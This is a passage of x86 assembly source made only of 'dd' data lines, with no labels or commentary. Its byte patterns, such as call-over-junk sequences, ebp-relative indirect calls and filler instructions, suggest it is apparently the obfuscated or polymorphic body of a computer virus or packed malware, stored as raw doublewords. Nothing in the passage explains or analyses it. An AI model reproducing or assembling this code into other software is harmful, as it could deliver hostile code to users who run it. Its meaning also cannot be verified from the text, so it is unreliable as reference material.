		dd 0D40AD981h, 6AC08Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0A53405C3h, 8BF88B66h, 70A718Dh
		dd 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h
		dd 43Dh, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535017h, 43Dh,	2BAD8589h, 9D8D0607h, 609B0E1h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	0C0C35141h, 0CF8B666Bh,	12E9h, 0CF959C00h, 0BE4F1A31h
		dd 0FCE75B76h, 35F4BBC2h, 8B7528F2h, 53006AC0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7C8214B1h
		dd 8A6D567Ch, 42C781CBh, 8B78EC80h, 12E8C0h, 2FFD0000h
		dd 0C5670197h, 1607866Bh, 0B7A50F6Fh, 0FD75EEBh, 17BDBD8Bh
		dd 835A0607h, 73101BDh,	9750006h, 0A55BD83h, 74000607h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 609B294h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535011h, 0
		dd 0B1459D8Dh, 0D3FF0609h, 0FE8585Bh, 97000000h, 0DD6A8C32h
		dd 4285A7E9h, 4120E95Ch, 0CE80C0C3h, 8C0F5F48h,	6, 16218D89h
		dd 0C08B0607h, 9E9h, 0ED4A2100h, 0D5CFF9CFh, 0C08BE1D9h
		dd 0D98531h, 0BD830607h, 6073101h, 83097500h, 70A55BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0C69D8D00h, 0FF0609B1h
		dd 83585BD3h, 70A55BDh,	11740006h, 0B85350h, 8D000000h
		dd 9B1139Dh, 5BD3FF06h,	919D8958h, 0F060705h, 0C08BF8BFh
		dd 12399D01h, 0C08B0607h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 27C35141h, 0F8B0Fh, 0AE90000h, 0EE000000h
		dd 1F2FB561h, 9B82ED4Fh, 1BD83F8h, 60731h, 0BD830975h
		dd 6070A55h, 50137400h,	0B8C08B53h, 0
		dd 0B22D9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h, 50117400h
		dd 0B853h, 9D8D0000h, 609B12Ch,	585BD3FFh, 1AC98531h, 0B70F0607h
		dd 0B6C08BD7h, 52C08B6Fh, 895FCE8Ah, 7155DBDh, 1BD8306h
		dd 60731h, 0BD830975h, 6070A55h, 50137400h, 0B8C08B53h
		dd 0
		dd 0B15F9D8Dh, 0D3FF0609h, 8D8B585Bh, 6072C15h,	65CF29BAh
		dd 0BAC08B07h, 62B17A9Ah, 83F9C08Bh, 73101BDh, 9750006h
		dd 0A55BD83h, 74000607h, 8B535019h, 7D0B8C0h, 85890000h
		dd 6072BADh, 0B3F29D8Dh, 0D3FF0609h, 0BD83585Bh, 6070A55h
		dd 50177400h, 7D0B853h,	85890000h, 6072BADh, 0B0E19D8Dh
		dd 0D3FF0609h, 6A585Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C81447C3h, 8B9F8395h, 71E09BDh
		dd 0B9C08B06h, 225AD546h, 1C4D85C6h, 89530607h,	705219Dh
		dd 5F906806h, 0BE89939h, 76000000h, 0A279CB13h,	0F55E9923h
		dd 890FB95Eh, 6, 0C398D8Bh, 0FF5A0607h,	701A9B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 7B860776h, 0D068FE3h, 536060BDh, 6661F95Eh, 61D9A6BEh
		dd 3A13858Dh, 0BD890607h, 6072E95h, 8166D0FFh, 89574BEAh
		dd 71D899Dh, 0E1858906h, 6A060701h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 6A03C355h
		dd 4701F8Ah, 57138235h,	4E81CF81h, 85C67263h, 6071C4Dh
		dd 81666057h, 81332BE0h, 0C3C455D8h, 6686132h, 8B900452h
		dd 70945BDh, 0A9B5FF06h, 8B060701h, 72BE18Dh, 13858D06h
		dd 6A06073Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3F5DC351h, 0D78AD0FFh,	30358589h
		dd 85290607h, 6070A51h,	0C6D7BF0Fh, 71C4D85h, 6A4306h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 72737CC3h, 66A35D17h, 193DF181h, 90702868h, 0D8C680BCh
		dd 1A9B5FFh, 8D8B0607h,	6072BD9h, 3A13858Dh, 6E90607h
		dd 0E1000000h, 0A9F44F30h, 29D0FFB7h, 729A18Dh,	49858906h
		dd 66060733h, 0E066F781h, 1C4D85C6h, 664C0607h,	688FEDBAh
		dd 0D9DA1CE9h, 0D8E0F60h, 0E9000000h, 8, 35DE3B9Bh, 3B319EA4h
		dd 3820Fh, 0BF0F0000h, 0C18061F8h, 0A9B5FF52h, 0F060701h
		dd 68Fh, 55BD8B00h, 2906072Fh, 71901B5h, 13858D06h, 8B06073Ah
		dd 0FD0FFF8h, 8589D0B7h, 60701F5h, 4567BF66h, 1C4D85C6h
		dd 8B460607h, 732CD8Dh,	6146806h, 6ABADEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 890FE4C3h
		dd 5, 74D78166h, 0A9B5FF4Ch, 23060701h,	72A59BDh, 88B96606h
		dd 13858DD5h, 0BF06073Ah, 0D13DD8Fh, 890FD0FFh,	4, 5D90B966h
		dd 1F598589h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 557F12C3h, 1CC9AF78h, 6820Fh, 9D890000h
		dd 6070F7Dh, 3870Fh, 8B660000h,	4D85C6FAh, 4706071Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 92C35040h, 4A992794h
		dd 9D86D175h, 0E268D58Ah, 608A0FB5h, 2A2DBD8Bh,	1CB90607h
		dd 6161F3BBh, 1A9B5FFh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 25A0CBC3h, 9860Fh, 0F600000h
		dd 83h,	8D61F900h, 73A1385h, 8B665106h,	0D0FF5ACFh, 20E4BF66h
		dd 31858589h, 0BD010607h, 6070459h, 358D01h, 85C60607h
		dd 6071C4Dh, 958B5247h,	6072939h, 0B5F36859h, 0BF6683D0h
		dd 8B66BD0Dh, 0A9B5FFFBh, 0BF060701h, 3AA68FC5h, 3A13858Dh
		dd 0B70F0607h, 0E8D0FFFBh, 13h,	8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh
		dd 6F7A6422h, 5F76AD63h, 2D558589h, 6E90607h, 45000000h
		dd 0B57158A3h, 4D85C63Fh, 7706071Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 50C35646h, 667430A0h, 840DC981h
		dd 97A8A368h, 57006AF3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 607F7741h, 7D2C482Eh, 758D8BA6h
		dd 6606072Dh, 0FF5A9ABFh, 716BDB5h, 79958906h, 8D060717h
		dd 73A1385h, 0AE906h, 134D0000h, 5CF9AAC8h, 5740C2Eh, 89F8D0FFh
		dd 71EB185h, 0C98D0906h, 0C606071Ah, 71C4D85h, 0F6684706h
		dd 808728FAh, 0B5FF35E6h, 60701A9h, 0CE9020BAh,	81BD8B3Ah
		dd 8D060717h, 73A1385h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0D6BF4E6Dh, 51B20D0Dh
		dd 2D39BD8Bh, 0BF5F0607h, 2C9C1B5Dh, 0D0FFF88Bh, 22498529h
		dd 85310607h, 6071FE9h,	2FAD8589h, 9D890607h, 6071069h
		dd 1C4D85C6h, 8B430607h, 72EE5BDh, 6EFC6806h, 0FFF8BC8Eh
		dd 701A9B5h, 0BD8D8B06h, 8D060707h, 73A1385h, 0C7816606h
		dd 0D0FFEC65h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	29C35242h, 264CA7EAh, 858967C8h, 6070111h, 85C6CA8Bh
		dd 6071C4Dh, 58A0F45h, 0BF000000h, 5E7B9CFCh, 72696968h
		dd 0D7BF0F8Eh, 1A9B5FFh, 8B660607h, 13858DCEh, 6A06073Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0AFA2C352h, 8B6085F3h, 704DD9Dh, 0B8665206h
		dd 615BDE6Dh, 7E9h, 0AB7FE800h,	3102A939h, 8B0FD0FFh, 0Dh
		dd 8E9h, 0EA17D900h, 50579785h,	462ABAB0h, 858916AEh, 6071F39h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9CC35242h
		dd 0CE8h, 381D4D00h, 4BF913CCh,	9E43360Eh, 0EA816616h
		dd 0C65F0903h, 71C4D85h, 0F5804406h, 0EC646825h, 8509B8F2h
		dd 6072121h, 1A9B5FFh, 6A0607h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0CFCE9CC3h, 858D4BD0h
		dd 6073A13h, 11E8h, 43664000h, 6E66B54Eh, 0BA19A9CEh, 72CA8E59h
		dd 8529F528h, 6072171h,	0B6D0FF59h, 598589DCh, 6A06072Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0D343C350h, 6657DE2Ch, 1AEDDA81h,	4D85C65Ah
		dd 4306071Ch, 0F4D9D29h, 0A7680607h, 8BC0764Ah,	723C595h
		dd 0A9B5FF06h, 0E9060701h, 12h,	0C1EB8036h, 23544725h
		dd 70E2AF2Bh, 9C5C2761h, 858D28CAh, 6073A13h, 33559D89h
		dd 0D0FF0607h, 0A3D18166h, 0F1858925h, 8906071Dh, 71BC98Dh
		dd 1BBD8006h, 60A01h, 0C3840Fh,	800F0000h, 6, 0F622E281h
		dd 858D707Ah, 60A00FDh,	4EDB589h, 81500607h, 4BE1DEE2h
		dd 9016A7Eh, 71E49BDh, 48C0F06h, 66000000h, 6AB4ACBAh
		dd 0AE900h, 0AE660000h,	75B208E5h, 9CFC0949h, 0EA8A006Ah
		dd 334995FFh, 0E9600607h, 12h, 4C57C3FEh, 0DC8AE976h, 4FFD6DC3h
		dd 0AA89FDBh, 8D0F1206h, 6, 10E9B589h, 89610607h, 7169185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 995298Fh, 6A060733h, 0EE9FFh, 0AC1D0000h
		dd 6FB4F653h, 7BE89E3Dh, 255FFDFDh, 1691B5FFh, 958B0607h
		dd 6072D69h, 303595FFh,	0F5800607h, 0FC08B9Ah, 0BD83CFBFh
		dd 6073101h, 83097500h,	70A55BDh, 19740006h, 0C08B5350h
		dd 7D1B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h
		dd 55BD8358h, 6070Ah, 53501774h, 7D1B8h, 0AD858900h, 8D06072Bh
		dd 9B0E19Dh
		dd 5BD3FF06h, 8C0F5758h, 2, 0E8596160h,	10h, 0BB7126F7h
		dd 9544D79Dh, 582EF027h, 0F694E312h, 8E8h, 5A8D3A00h, 1DA8484Ah
		dd 0B1B58965h, 5A060723h, 80C08B59h, 85C6D1DEh,	6071C4Dh
		dd 8D952B47h, 6806071Bh, 93C8F7C1h, 89FEC580h, 70795BDh
		dd 0A9B5FF06h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 2559C355h, 6E5095EFh
		dd 958B8990h, 6073049h,	0BE9h, 3E4EEA00h, 675BF610h, 0BC5773CFh
		dd 3A13858Dh, 0D0FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 48C35545h, 807CA811h,	6A5002CAh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 809C353h, 97842006h,	53E858Dh, 8F0F060Ah, 12h, 0C8D0Fh
		dd 6E80000h, 0A4000000h, 9BAE441Ah, 0C75AC4h, 94h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2CC35747h, 81674D51h
		dd 0CE9D0E1h, 0B000000h, 9E363387h, 816AC853h, 5889CC0Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 89C35242h
		dd 3EB58DF9h, 81060A05h, 48A25AC7h, 840F5668h, 6, 16598D89h
		dd 0D0FF0607h, 0EA37B966h, 53E858Dh, 958B060Ah,	6072F31h
		dd 6047883h, 16850Fh, 0BD890000h, 60717D1h, 5D285C7h, 1060Ah
		dd 958B0000h, 607235Dh,	8F1BD83h, 0F000607h, 3E85h, 69858900h
		dd 8306072Ch, 0A05D2BDh, 850F0006h, 2Bh, 3138E981h, 0BD83638Bh
		dd 6071F75h, 18840F00h,	9000000h, 72F55BDh, 6185C706h
		dd 60715h, 8B000000h, 70B0195h,	66D18A06h, 9589DB8Ch, 60708C1h
		dd 0F04C3F6h, 59D84h, 0ADBD0300h, 0C7060731h, 7199585h
		dd 6, 618D8B00h, 8006071Bh, 0A0128BDh, 850F0006h, 0
		dd 1C4D85C6h, 6A470607h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 99AC356h, 8123E32Fh
		dd 94F81CD1h, 5B866826h, 8DB9E3E4h, 80427E1Eh, 0B5FF32D5h
		dd 60701A9h, 2800Fh, 0F98B0000h, 2199B509h, 858D0607h
		dd 6073A13h, 11860Fh, 0CE90000h, 0E7000000h, 0F4160A18h
		dd 308F3DE6h, 0FF71688Dh, 258589D0h, 6806072Bh,	104h, 0C403DF81h
		dd 9D8D403Fh, 6070255h,	6A53D78Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0CA28C356h
		dd 0AE1985CCh, 18160696h, 12E8h, 0AABB5800h, 361D6B6Ah
		dd 0F61C8D0h, 59915907h, 819B7D2Bh, 282CBBD7h, 0D0FF5F38h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h
		dd 4D9AA630h, 0FE8BE022h, 858DF08Ah, 6070255h, 50D78B66h
		dd 0DA858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 631EA4C3h, 29234C12h, 707E195h
		dd 840F5006h, 16h, 10890Fh, 0AE80000h, 55000000h, 81659836h
		dd 0A44B3F77h, 858D5A24h, 609F7ADh, 7BD8D8Bh, 8B500607h
		dd 0D98166F9h, 95FF3118h, 6071EB1h, 6840Fh, 958B0000h
		dd 607091Dh, 0C483FE8Bh, 0E7BF660Ch, 68006A55h,	80h, 6A036Ah
		dd 68006Ah, 8D800000h, 9F7AD85h, 95FF5006h, 6070111h, 0BD8589h
		dd 85C6060Ah, 6071C4Dh,	5E876847h, 0B5FFC7B1h, 60701A9h
		dd 3A13858Dh, 0D0FF0607h, 0B5FF006Ah, 60A00BDh,	0BD8BD0FFh
		dd 60731A1h, 14E9h, 79273400h, 0F1C57586h, 8C385D4Ah, 0D8E3F668h
		dd 0FB248160h, 37D03DAFh, 830F0000h, 3Ch, 615213B9h, 0BDB5FF7Eh
		dd 0F060A00h, 178Dh, 118F0F00h,	0E8000000h, 0Bh, 999A8A77h
		dd 1AAF7307h, 5919D9DDh, 0F195FFF9h, 8906071Dh,	72CFD9Dh
		dd 0F6E906h, 0CF8A0000h, 0BDB5FFh, 6FBF060Ah, 0FF2DBE17h
		dd 71DF195h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 63C5AF24h, 81667543h, 6AAC94E1h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 33D1B816h, 31EB50D8h, 66006AFEh,	0ED2DEA81h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 45B562C3h, 2952006Ah, 700A98Dh, 6A5A06h
		dd 0F1858956h, 5906072Ch, 958B006Ah, 60716F5h, 0C1858Dh
		dd 8166060Ah, 502E4AC7h, 0E0BF6660h, 918D8B4Eh,	61060710h
		dd 95FFF38Ah, 6070111h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0BEC35242h, 209A1BB2h, 55B151C8h, 61B5299Ah
		dd 8306072Fh, 850FFFF8h, 170h, 0BC4D858Dh, 0D0FF0609h
		dd 0C8C0Fh, 890F0000h, 6, 8C0Fh, 6A0000h, 958B5750h, 6071A49h
		dd 6A5A5Fh, 1D0DCA81h, 6A0C80h,	1E498D33h, 6A0607h, 6ACEB70Fh
		dd 0CCDF8100h, 666BCC96h, 6A9C181h, 14E9006Ah, 0D2000000h
		dd 0E38FE626h, 0E5D32AC3h, 9A5D8C5Bh, 7DDEF3D2h, 8D6FAE90h
		dd 0A00C185h, 0E18A6006h, 16EDB589h, 50610607h,	95FFF78Ah
		dd 6070111h, 19E1BD8Bh,	0F8830607h, 0E5850FFFh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 3C2EC350h, 0A98D8B81h, 8B06071Eh,	72C958Dh
		dd 0C9B58D06h, 600609FAh, 2D85858Bh, 89610607h,	7270995h
		dd 0B5858D06h, 810609A6h, 2BADC4D2h, 6AD0FF4Ah,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 8198C352h, 0D981662Ch, 8166975Dh, 6A22FDF2h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 5F78E59Eh, 0B58D3376h, 60060719h, 7E8h, 0B7CC7C00h
		dd 0FAC59408h, 7559D29h, 8B590607h, 71BFDBDh, 8B666106h
		dd 3995FFFAh, 6A06071Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 953FC350h, 9D897D20h
		dd 60725ADh, 0BD8589h, 9D89060Ah, 60725BDh, 651CB966h
		dd 870F006Ah, 4, 0C9BEB966h, 0B5858Dh, 0BF50060Ah, 38B06B9Bh
		dd 8F0F046Ah, 0
		dd 29C9858Dh, 9D890607h, 60701ADh, 1F1D8589h, 8B500607h
		dd 718418Dh, 52006A06h,	0D216D181h, 6A5A14EDh, 0D9BD8B00h
		dd 6A060732h, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 8749BB4Dh, 29A74D11h, 54BA4307h
		dd 0FF5BC0C6h, 0A00BDB5h, 619D2906h, 0FF06071Eh, 72B5995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 8DE23AA6h, 52BA6692h, 1B6EE968h,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0A06E20C3h, 475C206Eh, 852987E5h, 6071D59h, 1085BD31h
		dd 0C08B0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	3DC35545h, 2957BA89h, 703D98Dh,	0BD835906h, 6073101h
		dd 83097500h, 70A55BDh,	19740006h, 0C08B5350h, 7D2B8h
		dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h
		dd 6070Ah, 53501774h, 7D2B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh
		dd 5BD3FF06h, 0E7816658h, 29604756h, 73121B5h, 0B5BD8B06h
		dd 61060717h, 0B966C08Bh, 85C7929Dh, 6071995h, 1, 0FE9h
		dd 0A8717500h, 255D79DCh, 0DDAB92Bh, 427842C9h,	10C1958Bh
		dd 0B8680607h, 0FFCEE4E7h, 71589B5h, 13858D06h,	0FF06073Ah
		dd 4D8589D0h, 6806071Eh, 0C005DBD4h, 1589B5FFh,	858D0607h
		dd 6073A13h, 8589D0FFh,	6070545h, 0F566858Dh, 0FF500609h
		dd 701A9B5h, 8595FF06h,	0B060731h, 8B0B74C0h, 19858DD8h
		dd 50060A05h, 858DD3FFh, 60A0519h, 9388366h, 85C70A75h
		dd 60721D5h, 1,	2FAD95FFh, 0FF250607h, 83000000h, 0A7305F8h
		dd 169985C7h, 10607h, 0B5290000h, 6072F09h, 0CE9CA8Bh
		dd 0D5000000h, 0F66191B1h, 0BCFC297Ah, 804CC5BEh, 0A0128BDh
		dd 850F0006h, 3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 5C35343h, 0FE51BFFFh,	0C0E6E17Fh, 3870FA2h
		dd 0F000000h, 9D89D7BFh, 6070BA9h, 19ABE9h, 0D78B6600h
		dd 21D5BD83h, 0F000607h, 0DF85h, 0F2858D00h, 66060A00h
		dd 34CAE181h, 0D958B50h, 6A06071Eh, 0FD8D3101h,	6A06072Eh
		dd 0B8A0F00h, 0E9000000h, 6, 306410DCh,	0B5892688h, 60704D1h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 81531EC3h, 0E0543CCFh, 8D01597Ch,	6072291h
		dd 334995FFh, 95310607h, 6071B61h, 11C8589h, 9D29060Ah
		dd 607221Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 9D22F8C3h, 0F98D8Bh, 1600607h, 72BA1B5h
		dd 318D8B06h, 61060716h, 11CB5FFh, 0B966060Ah, 95FF4D5Eh
		dd 6073035h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	56C35747h, 32DEAE11h, 0F18AFBCDh, 0F52D858Dh, 800F0609h
		dd 3, 50D18B66h, 0FF48E980h, 701F595h, 65BD8B06h, 89060700h
		dd 9F5B785h, 0CFBA6606h, 65B5011Bh, 8D060709h, 9F53A85h
		dd 81BF6606h, 0BD0350C5h, 60709A5h, 0F5B7B5FFh,	8D8B0609h
		dd 60723E1h, 318595FFh,	0D08B0607h, 860Fh, 85890000h, 60717A5h
		dd 1C49B531h, 8E90607h,	0E4000000h, 0ED4EEBC7h,	8DBF724Bh
		dd 9F5A885h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 9575D697h, 0B5FF50AEh, 609F5B7h
		dd 0BE8h, 3B10F900h, 0B8943DFDh, 432489AFh, 11E9h, 694DEB00h
		dd 0D8A93F25h, 68F7CD76h, 14911ABBh, 0FF5AB0A2h, 7318595h
		dd 0A9958B06h, 0F060716h, 8589D3B7h, 609F5CBh, 302D8D8Bh
		dd 858D0607h, 609F587h,	0E8BB32B9h, 95895009h, 6070959h
		dd 0F5B7B5FFh, 0F5800609h, 8595FF4Ch, 29060731h, 71E2D85h
		dd 0C58D0306h, 8906071Fh, 9F5C385h, 0AE906h, 70270000h
		dd 508A35FCh, 0B9AA088Dh, 0F57A858Dh, 8D8B0609h, 6071EC9h
		dd 880F6050h, 2, 0B52972B1h, 6072D81h, 0B7B5FF61h, 800609F5h
		dd 95FFF1C1h, 6073185h,	89D0BF0Fh, 9F5C785h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 858DA4CDh, 609F595h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0E6C35545h, 3380AE1Bh, 870F67D9h, 6
		dd 0BFB9CF81h, 6A504E17h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 9FD3C355h, 43DE2110h
		dd 66D7AF86h, 0EC8AD18Bh, 0F5B7B5FFh, 0BA660609h, 95FF073Fh
		dd 6073185h, 11E9h, 5EF9500h, 60E27FE9h, 59D4D36Bh, 452D8A90h
		dd 8B563A37h, 858959CEh, 6072339h, 1BC18D8Bh, 858D0607h
		dd 609F549h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0C2C35141h, 5FEF8F22h, 508EC367h, 21D99D29h, 0B5FF0607h
		dd 609F5B7h, 6820Fh, 95310000h,	6072CA1h, 0FFFFB70Fh, 7318595h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 3B9050F7h, 81ACEB7Dh, 8589CE8Ah,	609F5BBh
		dd 26C99589h, 858D0607h, 609F558h, 6870Fh, 0BD890000h
		dd 6070179h, 0FFCA8B50h, 9F5B7B5h, 8D8B5006h, 6072A61h
		dd 8595FF5Fh, 8B060731h, 7304D8Dh, 0BF858906h, 660609F5h
		dd 468CA8Bh, 23000001h,	72F498Dh, 4F858D06h, 600609F6h
		dd 2B39958Bh, 9E90607h,	0BB000000h, 0D92B85B6h,	17E79EFh
		dd 958B5061h, 6071991h,	0F753858Dh, 9D310609h, 6072AE1h
		dd 45C18050h, 0AE960h, 83250000h, 722F926Fh, 0E0AB889Bh
		dd 60616060h, 0FF616161h, 72D5595h, 25958906h, 8506072Bh
		dd 6850FC0h, 2B000000h,	7006195h, 28BD8006h, 60A01h, 16850Fh
		dd 7E90000h, 0B6000000h, 0BEEFC83Eh, 71E90016h,	0BA000015h
		dd 75D4D54Dh, 21D5BD83h, 0F000607h, 3885h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 0BACB8B3Fh, 694D2D9Fh, 72DA8166h, 0D2BD831Dh, 60A05h
		dd 33840Fh, 8B660000h, 0EC858DFBh, 890609F5h, 70FA9BDh
		dd 598D8B06h, 0E9060704h, 1510h, 0BD8BCA8Bh, 6072C75h
		dd 17E9h, 7E900h, 0DC680000h, 52B1C439h, 0D7858D6Ah, 660609F5h
		dd 59A3F281h, 8DCCB250h, 9F64F85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 5B10D962h
		dd 3A3A8E09h, 3150770Eh, 701A19Dh, 0D5BD8306h, 60721h
		dd 30840Fh, 89520000h, 7105D95h, 958B5A06h, 60705CDh, 0F775858Dh
		dd 0BF0F0609h, 46E9CAh,	860F0000h, 0Eh,	0C5BD8B60h, 0F060717h
		dd 83h,	858D6100h, 609F75Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 37C35343h, 587D564Ch, 6642653Bh
		dd 0BD89FE8Bh, 6071511h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 98BDE702h, 13E92312h
		dd 9000000h, 0EAA7F8EBh, 0DCA87175h, 2B255D79h,	0C90DDAB9h
		dd 858D7842h, 609F7ADh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 71C35545h, 31B9B589h
		dd 860F0607h, 8, 81958B57h, 5A06071Dh, 0D78B6650h, 1EB195FFh
		dd 8B660607h, 10C483D1h, 22859589h, 0C08B0607h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8C35646h, 12E8B81Bh
		dd 0B3000000h, 0C3D5191Ah, 7B741AB4h, 563FACA9h, 0EC083FBEh
		dd 68A0FF7h, 89000000h,	72A3D8Dh, 0BD835A06h, 6073101h
		dd 83097500h, 70A55BDh,	19740006h, 0C08B5350h, 7D3B8h
		dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h
		dd 6070Ah, 53501774h, 7D3B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh
		dd 5BD3FF06h, 1958B58h,	8B06071Fh, 70BDDBDh, 8B67B506h
		dd 723AD8Dh, 89C08B06h,	7179D9Dh, 0D7BD8106h, 6F0609F5h
		dd 0F616572h, 0BC84h, 0B58D8B00h, 8D060725h, 9F64F85h
		dd 858D5006h, 609F78Ch,	0AD858D50h, 500609F7h, 1EB195FFh
		dd 0C4830607h, 4D85C60Ch, 4406071Ch, 0A3184F68h, 0A9B5FF96h
		dd 8D060701h, 73A1385h,	8BD0FF06h, 0AD858DD8h, 500609F7h
		dd 858DD3FFh, 609F5D7h,	4F858D50h, 500609F6h, 21D5BD83h
		dd 74000607h, 75858D08h, 0EB0609F7h, 5E858D06h,	500609F7h
		dd 0F7AD858Dh, 0FF500609h, 71EB195h, 10C48306h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 23C35747h, 236B1089h
		dd 643C63B0h, 1E49BD8Bh, 0EE90607h, 0BC000000h,	9BB94A35h
		dd 0ED25A749h, 3E769B30h, 0AD95FF88h, 5006072Fh, 7958D8Bh
		dd 255A0607h, 0FFh, 1F818D89h, 0F8830607h, 4D830F05h, 8B000000h
		dd 70BFD8Dh, 9985C706h,	1060716h, 0F000000h, 689h, 91BD3300h
		dd 8D06071Dh, 9F60B85h,	0CB8B6606h, 75E9h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 3E0C9897h, 0D38B66C6h, 21D5BD83h, 0F000607h,	2284h
		dd 66D6B600h, 8DAE49B9h, 9F63685h, 5800F06h, 66000000h
		dd 44F6CF81h, 29E9h, 15BD8B00h,	8D060704h, 9F61885h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8589B042h, 609F64Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
